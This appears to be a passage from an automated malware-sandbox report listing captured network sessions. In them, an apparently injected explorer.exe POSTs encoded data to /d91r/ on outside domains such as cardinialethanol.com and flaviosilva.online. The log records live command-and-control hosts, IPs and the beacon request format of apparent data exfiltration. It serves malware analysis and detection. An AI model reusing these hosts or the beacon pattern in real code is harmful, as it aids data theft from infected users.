Mar 20, 2023 15:24:43.707849979 CET	1502	IN	Data Raw: c4 ae 32 48 6a 60 9a c8 f0 80 b7 88 29 55 72 a4 9b 33 8b 3b d5 ed 5d b2 8a 84 72 61 43 99 ae c5 e7 17 65 d0 46 ac c4 ea 34 4d b8 af c7 e9 96 e2 21 34 35 1e b4 bb 51 f8 73 35 eb 09 36 1e 56 35 7b aa ad a1 94 66 19 29 60 83 69 cc 2e 46 c4 17 3b 15 Data Ascii: 2Hj`)Ur3;]raCeF4M!45Qs56V5{f)`i.F;e&e\|J6"I~m %07XDi+0eK`,b]Wz7nV8]9_DmPQ;VN!{CO+16] [oWt-:
Mar 20, 2023 15:24:43.841586113 CET	1503	IN	Data Raw: a9 ed a7 5b 41 25 38 09 b8 98 c5 c4 65 97 ee d3 8a 8d 53 73 b6 3e 8c 08 9a 5b 45 d8 4a d8 d5 17 c7 31 cc 67 dc 62 07 a1 5e 6d 22 51 fc c6 07 4f 18 c1 04 c2 59 4b 11 0d 04 4a 66 81 3e fb f6 fd c0 4f 82 87 8d 15 fa 96 6f 0b 88 67 60 3b 52 97 d0 8e Data Ascii: [A%8eSs>[EJ1gb^m"QOYKJf>Oog`;RK)A;:#M!~UZ78>V!h#LP78Iql5}!N/x!s2)IBWr.r,q^rxB\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	49918	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:46.222233057 CET	1514	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 66 48 79 28 6d 4f 4f 43 6e 79 6c 45 4a 76 52 4a 4b 75 31 6b 59 37 32 72 76 35 37 69 69 4e 61 74 73 66 34 46 38 68 5f 35 36 4a 6c 61 31 62 63 6c 41 6c 7a 56 33 30 38 64 52 79 7a 74 4c 45 30 49 51 67 45 61 56 38 69 63 62 30 74 52 49 65 42 64 51 54 4d 54 6d 6b 33 72 2d 47 59 34 6d 44 5a 6c 50 30 6d 53 62 62 52 46 65 68 79 36 77 6a 48 5a 6f 69 56 78 4b 64 2d 55 62 4b 59 59 64 34 72 4c 66 6d 43 48 30 46 65 62 74 50 41 4d 38 7e 42 39 2d 77 73 42 65 7e 62 73 38 45 31 69 70 6d 68 30 6b 61 2d 46 6f 76 64 77 2d 66 57 51 61 68 4b 43 6c 28 65 73 51 4c 6c 4c 78 38 57 77 52 74 49 46 69 4a 74 4b 66 30 59 5a 44 66 4f 4b 5f 30 49 62 46 4c 45 4a 4d 44 5f 59 6b 45 38 6a 42 61 33 74 5a 49 48 37 2d 39 75 28 33 57 58 51 79 36 49 4a 65 73 32 45 33 6d 61 64 33 30 2d 4b 42 55 4b 61 41 53 76 4e 31 6c 49 76 41 77 35 55 47 65 6b 66 4e 78 41 62 72 77 35 73 6f 63 56 78 6c 58 5a 48 54 4c 31 6d 5f 73 79 56 32 46 30 66 58 53 4e 77 61 37 4d 31 54 62 48 4c 4e 43 58 31 66 57 49 31 79 77 76 38 6b 6b 6e 34 66 35 7a 6b 5a 6e 63 66 69 51 79 70 4d 30 47 7a 44 74 46 33 70 71 7a 44 51 62 59 52 38 5a 6e 39 51 42 58 66 56 70 61 28 7a 41 6a 70 76 42 49 59 71 76 43 78 53 70 6b 6b 72 6c 45 54 39 4a 62 36 41 54 56 6f 6e 66 4d 28 44 5a 65 32 77 76 76 4a 55 7e 6d 78 63 66 42 48 68 70 6d 4b 33 58 4c 73 35 32 4b 77 77 34 32 52 6a 33 64 51 6a 4c 69 6d 6f 72 46 55 4e 56 7a 30 63 63 65 54 58 46 51 6d 33 6f 38 37 4d 4a 63 32 62 6b 63 73 49 77 62 34 44 39 43 7a 38 4e 50 71 71 31 63 4c 65 76 57 64 79 74 46 4c 33 68 65 38 52 78 76 54 42 42 31 5a 6d 48 6b 69 52 66 63 54 4a 61 63 4f 46 70 63 73 44 74 56 44 62 7a 6e 48 6e 74 65 58 6c 6a 34 28 35 6b 4d 65 59 56 7a 7a 7a 43 58 78 59 7a 65 57 61 59 61 63 2d 54 43 50 53 36 68 69 75 53 31 35 6e 32 42 42 38 75 59 45 44 7a 6c 79 30 78 50 33 67 43 57 58 74 77 78 62 4a 6e 36 58 75 62 41 68 4f 50 49 78 4c 69 73 28 47 77 53 63 51 56 4e 65 32 42 76 75 6b 32 36 53 70 4e 6d 4f 72 39 58 59 37 6d 78 55 74 49 51 6d 33 28 7a 4f 30 31 59 45 42 6c 69 4c 43 74 64 4d 72 6d 34 56 61 76 78 7a 49 6b 32 4a 4e 28 69 4d 33 63 38 73 65 65 32 47 35 4c 67 79 36 38 4c 72 55 71 68 68 47 62 38 74 63 50 65 28 78 61 6b 7a 59 69 6c 48 41 66 63 7a 51 50 53 4e 52 6f 64 7a 79 48 2d 66 33 52 57 71 6b 63 32 35 31 66 43 37 79 46 35 7e 76 34 69 57 71 51 42 32 38 73 67 4b 32 35 55 39 5a 76 56 70 31 6b 4d 37 4f 58 4a 52 5a 46 55 61 68 4c 7a 7a 32 57 31 69 2d 52 34 51 61 52 78 75 30 62 44 32 36 6f 36 43 35 4c 4d 71 57 45 6e 7e 38 73 72 69 31 47 30 73 78 7a 71 6e 6d 6b 32 75 37 6f 56 4e 49 49 73 39 77 52 51 51 78 64 47 58 4b 4a 6a 5a 32 41 6f 77 4a 4c 63 6c 6b 68 46 32 Data Ascii: pO=8HLQrBsjwdeVUfHy(mOOCnylEJvRJKu1kY72rv57iiNatsf4F8h_56Jla1bclAlzV308dRyztLE0IQgEaV8icb0tRIeBdQTMTmk3r-GY4mDZlP0mSbbRFehy6wjHZoiVxKd-UbKYYd4rLfmCH0FebtPAM8~B9-wsBe~bs8E1ipmh0ka-Fovdw-fWQahKCl(esQLlLx8WwRtIFiJtKf0YZDfOK_0IbFLEJMD_YkE8jBa3tZIH7-9u(3WXQy6IJes2E3mad30-KBUKaASvN1lIvAw5UGekfNxAbrw5socVxlXZHTL1m_syV2F0fXSNwa7M1TbHLNCX1fWI1ywv8kkn4f5zkZncfiQypM0GzDtF3pqzDQbYR8Zn9QBXfVpa(zAjpvBIYqvCxSpkkrlET9Jb6ATVonfM(DZe2wvvJU~mxcfBHhpmK3XLs52Kww42Rj3dQjLimorFUNVz0cceTXFQm3o87MJc2bkcsIwb4D9Cz8NPqq1cLevWdytFL3he8RxvTBB1ZmHkiRfcTJacOFpcsDtVDbznHnteXlj4(5kMeYVzzzCXxYzeWaYac-TCPS6hiuS15n2BB8uYEDzly0xP3gCWXtwxbJn6XubAhOPIxLis(GwScQVNe2Bvuk26SpNmOr9XY7mxUtIQm3(zO01YEBliLCtdMrm4VavxzIk2JN(iM3c8see2G5Lgy68LrUqhhGb8tcPe(xakzYilHAfczQPSNRodzyH-f3RWqkc251fC7yF5~v4iWqQB28sgK25U9ZvVp1kM7OXJRZFUahLzz2W1i-R4QaRxu0bD26o6C5LMqWEn~8sri1G0sxzqnmk2u7oVNIIs9wRQQxdGXKJjZ2AowJLclkhF2
Mar 20, 2023 15:24:46.222305059 CET	1520	OUT	Data Raw: 48 54 77 56 74 69 64 73 56 6b 56 56 6f 59 35 49 42 46 43 39 75 7e 62 43 4d 56 48 69 6a 64 6d 54 39 59 61 63 56 34 5a 52 68 42 52 55 50 62 6d 41 78 6e 48 62 47 61 50 61 33 5a 75 4e 46 6b 6d 6c 6a 59 4d 35 58 44 76 54 77 4d 6b 30 63 72 52 71 48 34 Data Ascii: HTwVtidsVkVVoY5IBFC9u~bCMVHijdmT9YacV4ZRhBRUPbmAxnHbGaPa3ZuNFkmljYM5XDvTwMk0crRqH4xqIdvL67NVBKTnoyrGP8EHI4LfWy0mZ6L4RtvVrIUgXMTntzB4Og_DUAJEQilZ4mEi7oBq1m6t7VTghR8qLpjh9lk2QKdJA7AsWK2lbvxu9Nd8LRlXwNCt21aL-FuCHXGkExSHjXL9Hka49bO1sTSlEaF4aLP1KNW
Mar 20, 2023 15:24:46.222373009 CET	1525	OUT	Data Raw: 79 32 4b 56 43 64 62 55 73 7a 4d 56 58 56 61 69 32 64 62 79 53 67 34 76 33 75 4c 4e 41 4b 77 56 78 71 76 6f 5f 78 54 6b 6c 77 73 77 34 47 31 68 4e 53 46 32 32 28 63 63 2d 6d 64 56 34 58 48 64 63 49 73 5a 72 4f 51 7a 45 39 38 38 37 7a 42 55 43 65 Data Ascii: y2KVCdbUszMVXVai2dbySg4v3uLNAKwVxqvo_xTklwsw4G1hNSF22(cc-mdV4XHdcIsZrOQzE9887zBUCeXR3AzuMFdLH~XRnJemQJif-M31I(CG9dlYk5zOkQr5W~RYtPTPaSGqhDKbGo9GyY-uTn5QCidss9ehvMZUJVBKRW914ExX2wjuncYLM4aSFuHK2eQpSBtwh2ueG1Dm1ItSHUfe4alwvljKdGw3ntXj9D93ZEzwrn4
Mar 20, 2023 15:24:46.354758024 CET	1530	OUT	Data Raw: 65 4f 6e 41 75 44 63 64 4f 37 52 31 6e 61 76 4f 52 78 52 4e 65 57 76 4b 2d 55 35 55 73 70 4a 28 69 69 43 66 63 37 46 71 66 56 39 4e 30 42 7a 69 75 6c 62 68 35 6f 79 31 37 61 77 37 51 35 5a 49 50 78 62 4b 6e 54 6f 48 53 4b 52 46 39 68 44 74 47 28 Data Ascii: eOnAuDcdO7R1navORxRNeWvK-U5UspJ(iiCfc7FqfV9N0Bziulbh5oy17aw7Q5ZIPxbKnToHSKRF9hDtG(yNYkTpEQhFcPbEjT63U0V8yhfClczxIHGzsyE3I(mp3w6qksP8gACZHDGkX6sglEaGtQL7Q8aXHA2Ci~c6KIbwHsSs1ud0xPUQeyq2mKKYdH4hkwMlP(obZWZ2ig5lOK1EEKrwVI6i5y44DAM(PC_19CuvhzoIVs_
Mar 20, 2023 15:24:46.355278015 CET	1543	OUT	Data Raw: 50 63 6c 4b 4a 72 77 6c 4d 57 73 78 52 33 6b 65 73 61 55 69 49 36 4d 68 30 56 71 7a 6e 55 6e 52 38 53 37 6f 52 63 39 75 6e 48 70 37 55 4f 4e 47 70 63 58 7e 61 6e 49 75 50 6c 63 73 37 28 57 73 79 62 53 74 71 59 62 48 48 43 79 32 79 52 66 70 4a 4a Data Ascii: PclKJrwlMWsxR3kesaUiI6Mh0VqznUnR8S7oRc9unHp7UONGpcX~anIuPlcs7(WsybStqYbHHCy2yRfpJJ4jTGMds56Uy(9iXv5~o8tno(h3mjDOkHZcKRggB7l1TFR(RBePO89zhD5qqP_KjTnO7tUqZGXQ4HUTDzPh7JBicZh61GfUrDPlseuGbaj57DNi5ikjclW38IqHOTvqf88KgTn9JebpHBF~ZJJZOgvXw(z9uXpYp6S
Mar 20, 2023 15:24:46.355370998 CET	1545	OUT	Data Raw: 50 79 39 28 33 7a 59 68 63 44 52 37 39 75 48 34 6c 32 47 65 71 59 6f 63 59 31 65 37 64 39 6b 74 35 55 57 43 37 4e 4a 57 45 66 59 38 30 70 37 61 74 46 51 56 6f 4c 68 56 33 74 46 55 70 46 6f 6f 55 65 56 55 4f 7e 72 54 39 50 4a 70 30 53 45 59 32 65 Data Ascii: Py9(3zYhcDR79uH4l2GeqYocY1e7d9kt5UWC7NJWEfY80p7atFQVoLhV3tFUpFooUeVUO~rT9PJp0SEY2eUXUxbESjWw6brlsIk7D0GE0PI7cV-FxVeeOiBT6iVFVV7WiVyfD~E40us9lj4lM2jgE0z9FIGtav020u0g5reYmVHhmYWtRljqmK2cSKR9l9RGgnqWInvrDdyBY4knq(VKKqRKWdvoQNOci00DoYgBnRNNaye7LVS
Mar 20, 2023 15:24:46.355433941 CET	1551	OUT	Data Raw: 30 55 30 65 58 34 54 71 76 4f 62 59 35 49 32 52 30 53 4d 73 59 5a 6b 6a 55 77 6c 44 43 4f 43 4e 72 4e 50 53 52 38 45 5a 35 59 75 64 72 4f 56 30 75 61 34 59 74 57 2d 50 35 48 38 59 62 56 71 46 64 36 5f 47 63 4d 43 58 6b 6c 68 35 35 75 36 47 30 6d Data Ascii: 0U0eX4TqvObY5I2R0SMsYZkjUwlDCOCNrNPSR8EZ5YudrOV0ua4YtW-P5H8YbVqFd6_GcMCXklh55u6G0mHllc9IaTOlkZFmwp1g7LFDtX1UdzmVJhpF4J8~mI1MzfrdiOY2iJY7I~ZYz(Vc7nv24lf9EtbdiGkv2gjJlvfpQjBjuPRqV2llxV8gPiTu_fGn6jOb7JUHx17lGru37(RrmNCMPiEXJnH6Oitoeqfau4K0xYE7X9f
Mar 20, 2023 15:24:46.355849981 CET	1551	IN	HTTP/1.1 413 Request Entity Too Large server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:24:46 GMT content-type: text/html content-length: 205 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body bgcolor="white"><center><h1>413 Request Entity Too Large</h1></center><hr><center>openresty/1.13.6.1</center></body></html>
Mar 20, 2023 15:24:46.487545967 CET	1552	OUT	Data Raw: 38 73 71 59 35 52 32 31 36 4f 46 73 6d 4d 48 30 39 63 65 61 6a 69 66 41 67 28 68 4d 2d 4d 31 52 6d 32 31 39 4f 41 49 54 71 49 2d 6a 48 58 57 54 64 66 4d 30 31 41 72 47 42 54 61 59 5f 31 39 51 48 7e 78 70 52 4c 54 58 30 6f 66 30 4c 35 5f 70 32 57 Data Ascii: 8sqY5R216OFsmMH09ceajifAg(hM-M1Rm219OAITqI-jHXWTdfM01ArGBTaY_19QH~xpRLTX0of0L5_p2WxVAaMajq-yxbBPJ1rj49F98Z9oQt4RLtDeS3MMbckWL0eSiam8S2hWwto8HM7NBg_0pcoe91T2fD8GrlUG5HUGA4BfO8i0_UeyCLCINLmMzNSZkZnnuasdQiZUZHbG_t5e1FkkLuRi8ppp5cTda(WphJcph(3MJTH
Mar 20, 2023 15:24:46.487627983 CET	1558	OUT	Data Raw: 7a 30 71 7e 4f 72 33 41 48 51 41 6d 67 73 52 33 70 74 31 70 32 58 7a 75 49 7e 57 6c 52 49 36 7e 34 6e 50 7a 4b 61 4a 71 74 52 30 6e 49 47 34 70 68 47 39 41 54 76 4c 67 5f 62 56 36 49 28 52 4d 2d 50 64 51 38 7a 44 4f 6c 68 4e 6e 5a 64 79 76 6e 30 Data Ascii: z0q~Or3AHQAmgsR3pt1p2XzuI~WlRI6~4nPzKaJqtR0nIG4phG9ATvLg_bV6I(RM-PdQ8zDOlhNnZdyvn0HZ_x4Ew6kX1Ziojj4s7mBiXrDkHuIzYvxB8bnEgASWebe~FKmop2_pwVIerJyxY4UTgWSxem581e4bpZusoyTUY9XRUf4p-wCCa~kdStsJ7vTwoBhfsjCNSAyxzSfqtRXCcUewMovkeV3r60SaSx8pjxLR_oS9CRi
Mar 20, 2023 15:24:46.487723112 CET	1561	OUT	Data Raw: 4b 37 75 53 4f 43 4a 50 69 28 5f 70 34 61 61 6b 31 6a 43 39 46 68 79 6e 63 4a 4e 43 61 48 63 70 77 76 4f 55 36 77 79 46 58 67 43 4f 53 4d 6b 45 4c 6a 2d 6b 33 6c 4b 6c 67 6a 35 6a 6c 31 55 68 56 32 4b 4d 2d 4c 77 67 47 4e 6b 70 6b 51 5f 57 4b 79 Data Ascii: K7uSOCJPi(_p4aak1jC9FhyncJNCaHcpwvOU6wyFXgCOSMkELj-k3lKlgj5jl1UhV2KM-LwgGNkpkQ_WKynutOiEOHmP_5539n1ivBIF_kkSH5vUwlf5QTIAY~pwLrgOSyMF20X2VpasWbN582nHoetsgPw7XCB8FresQlSgB2GhUsptAcmeAkGgKI1q3MV1R6PE04IVLgCR4Tji1M6xdp6VaoUT56l01dh1OZloP9OjXXJjiZu
Mar 20, 2023 15:24:46.487878084 CET	1565	OUT	Data Raw: 65 33 6a 4b 39 45 70 36 4c 4f 4a 73 70 36 70 52 37 56 75 6a 5f 48 34 74 76 4c 59 4a 52 4e 2d 35 53 77 7a 76 69 4f 53 4c 6c 4c 77 45 6f 73 53 77 55 71 4d 4d 6e 39 52 38 70 4f 44 6f 7a 39 36 4f 38 76 53 34 5a 4b 52 75 49 33 46 33 44 75 6c 62 63 77 Data Ascii: e3jK9Ep6LOJsp6pR7Vuj_H4tvLYJRN-5SwzviOSLlLwEosSwUqMMn9R8pODoz96O8vS4ZKRuI3F3DulbcwY9p(izw~o2xN-LD1XbaJxsCs2sHKcIEMjkR4X2t105pU7EbwSikJ4WVfB9W9HtaCWPvPREVngJpCNH2ywbgYltFJdH5EOQAXhbZVAAesHkegCboEtgteHSLLZj8ROhG4UOQsYGsRVYnyr2SfnEd3E2MTuCwVwJGT9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	49919	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:48.877739906 CET	1566	OUT	GET /d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.cardinialethanol.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:24:49.012408972 CET	1567	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:24:48 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	49921	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:54.052347898 CET	1574	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 75 54 62 55 61 4c 61 42 78 4c 72 66 37 47 61 70 6b 4c 69 30 4e 75 68 49 50 57 38 71 43 6b 65 74 79 45 71 51 75 31 32 37 7e 55 32 62 56 57 36 45 66 49 51 75 70 79 39 33 41 67 69 70 77 5a 39 6f 36 47 57 64 4b 38 59 31 71 42 38 67 4c 6f 42 67 4c 31 30 78 71 41 6d 59 75 66 4c 49 4e 68 49 30 47 46 79 55 6d 47 53 73 4a 68 7a 70 4e 37 4d 6e 70 4f 59 44 76 62 54 63 38 74 4c 48 30 52 57 4e 46 79 31 77 62 4c 51 4b 30 63 38 4e 6f 58 6d 46 7e 49 4d 79 32 67 4c 48 38 47 70 35 45 53 79 64 6b 50 68 5f 4c 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=0ssrY0In6G4DuTbUaLaBxLrf7GapkLi0NuhIPW8qCketyEqQu127~U2bVW6EfIQupy93AgipwZ9o6GWdK8Y1qB8gLoBgL10xqAmYufLINhI0GFyUmGSsJhzpN7MnpOYDvbTc8tLH0RWNFy1wbLQK0c8NoXmF~IMy2gLH8Gp5ESydkPh_Lg).
Mar 20, 2023 15:24:54.084836006 CET	1575	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:54 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	49922	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:56.598488092 CET	1576	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 76 77 54 55 59 6f 69 42 7a 72 72 51 30 6d 61 70 71 62 69 6f 4e 76 64 49 50 53 6b 36 42 53 6d 74 31 6d 43 51 76 78 69 37 7a 30 32 62 4e 6d 36 42 52 6f 52 69 70 79 41 45 41 6b 6d 70 77 5a 70 6f 37 30 4f 64 4d 4d 59 30 67 68 38 6a 4d 6f 42 68 63 6c 30 5f 71 41 72 33 75 61 62 49 4e 77 6b 30 48 48 4b 55 69 53 4f 74 4f 42 7a 6a 63 72 4d 6f 7e 65 59 46 76 62 66 75 38 6f 7e 77 30 6a 4b 4e 45 53 56 77 61 4c 51 4a 36 73 38 47 6c 33 6e 56 76 4b 46 6f 33 32 75 37 39 30 56 2d 46 52 54 4d 76 72 49 36 62 58 63 6e 63 6e 6b 51 32 70 66 45 6e 42 66 75 51 74 50 63 28 61 44 57 35 34 5a 50 6a 39 34 37 62 71 45 6b 4d 71 35 42 7a 51 78 34 39 61 42 62 65 37 31 35 7e 43 56 39 43 4f 36 75 69 79 77 39 6a 70 54 58 7a 4c 6a 30 47 31 61 4a 52 35 28 59 79 37 64 42 64 30 4f 4c 71 31 32 4b 7e 65 7a 63 66 38 69 65 74 43 76 35 28 78 42 69 63 34 65 45 35 6b 47 31 48 63 39 72 58 65 38 73 30 62 4b 73 49 6a 4c 54 6e 62 63 55 54 4c 31 6a 76 34 67 67 5a 61 55 41 39 77 32 51 31 31 4c 41 77 59 48 61 4c 51 71 58 59 6a 72 30 4a 33 36 48 5a 67 4a 33 74 6a 4e 35 36 32 4c 36 38 56 36 31 28 6d 4c 56 52 79 45 43 42 56 59 39 73 41 4f 4d 35 57 69 56 31 69 62 50 38 41 79 53 6a 76 6e 74 4a 4b 53 51 4d 78 50 37 4f 4f 55 4a 59 69 28 71 51 51 66 56 76 35 32 69 43 66 68 51 4d 35 33 47 67 61 61 31 46 65 31 54 34 76 31 43 67 71 31 55 31 56 5a 32 77 43 75 4b 44 41 71 64 59 69 69 76 6c 48 6b 63 65 61 54 46 52 51 6e 53 39 52 31 67 53 42 73 32 53 6b 31 53 6c 75 30 57 59 51 6e 57 77 4e 71 65 7e 74 4d 41 73 38 54 63 57 45 33 5f 32 61 32 34 66 6a 4c 48 4c 58 30 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=0ssrY0In6G4DvwTUYoiBzrrQ0mapqbioNvdIPSk6BSmt1mCQvxi7z02bNm6BRoRipyAEAkmpwZpo70OdMMY0gh8jMoBhcl0_qAr3uabINwk0HHKUiSOtOBzjcrMo~eYFvbfu8o~w0jKNESVwaLQJ6s8Gl3nVvKFo32u790V-FRTMvrI6bXcncnkQ2pfEnBfuQtPc(aDW54ZPj947bqEkMq5BzQx49aBbe715~CV9CO6uiyw9jpTXzLj0G1aJR5(Yy7dBd0OLq12K~ezcf8ietCv5(xBic4eE5kG1Hc9rXe8s0bKsIjLTnbcUTL1jv4ggZaUA9w2Q11LAwYHaLQqXYjr0J36HZgJ3tjN562L68V61(mLVRyECBVY9sAOM5WiV1ibP8AySjvntJKSQMxP7OOUJYi(qQQfVv52iCfhQM53Ggaa1Fe1T4v1Cgq1U1VZ2wCuKDAqdYiivlHkceaTFRQnS9R1gSBs2Sk1Slu0WYQnWwNqe~tMAs8TcWE3_2a24fjLHLX0.
Mar 20, 2023 15:24:56.630625010 CET	1576	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:56 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	49923	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:59.145911932 CET	1583	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 76 77 54 55 59 6f 69 42 7a 72 72 51 30 6d 61 70 71 62 69 6f 4e 76 64 49 50 53 6b 36 42 53 75 74 79 58 69 51 76 51 69 37 79 30 32 62 54 57 36 41 52 6f 51 34 70 79 59 62 41 68 28 63 77 62 52 6f 34 6e 47 64 4d 2d 77 30 6e 68 38 69 53 59 42 6a 4c 31 30 56 71 41 6e 72 75 61 28 59 4e 68 51 30 47 46 43 55 6e 6a 4f 73 41 78 7a 70 63 72 4d 73 74 4f 5a 77 76 62 72 2d 38 6f 36 77 30 68 7e 4e 46 67 74 77 57 34 34 4a 33 63 38 4a 71 58 6e 4b 32 36 46 72 33 79 50 43 39 30 55 63 46 51 48 4d 76 73 38 36 4a 42 55 67 66 48 6b 51 71 35 66 48 6a 42 62 69 51 70 58 2d 28 61 33 57 35 37 70 50 6c 64 34 37 4b 5f 6f 6c 4b 4b 35 48 6c 67 77 36 71 4b 4e 54 65 37 51 49 7e 41 5a 39 42 2d 7e 75 6a 44 77 39 69 49 54 58 37 4c 6a 32 62 46 62 58 47 70 28 36 79 37 4e 6e 64 30 76 32 71 33 36 4b 28 5f 54 63 50 6f 57 64 74 69 75 54 68 42 42 4e 58 5a 69 59 35 6c 32 58 48 63 38 32 58 61 45 73 30 76 4f 73 50 67 54 51 6d 72 63 66 61 72 31 32 6d 59 73 2d 5a 61 34 49 39 30 36 36 31 79 37 41 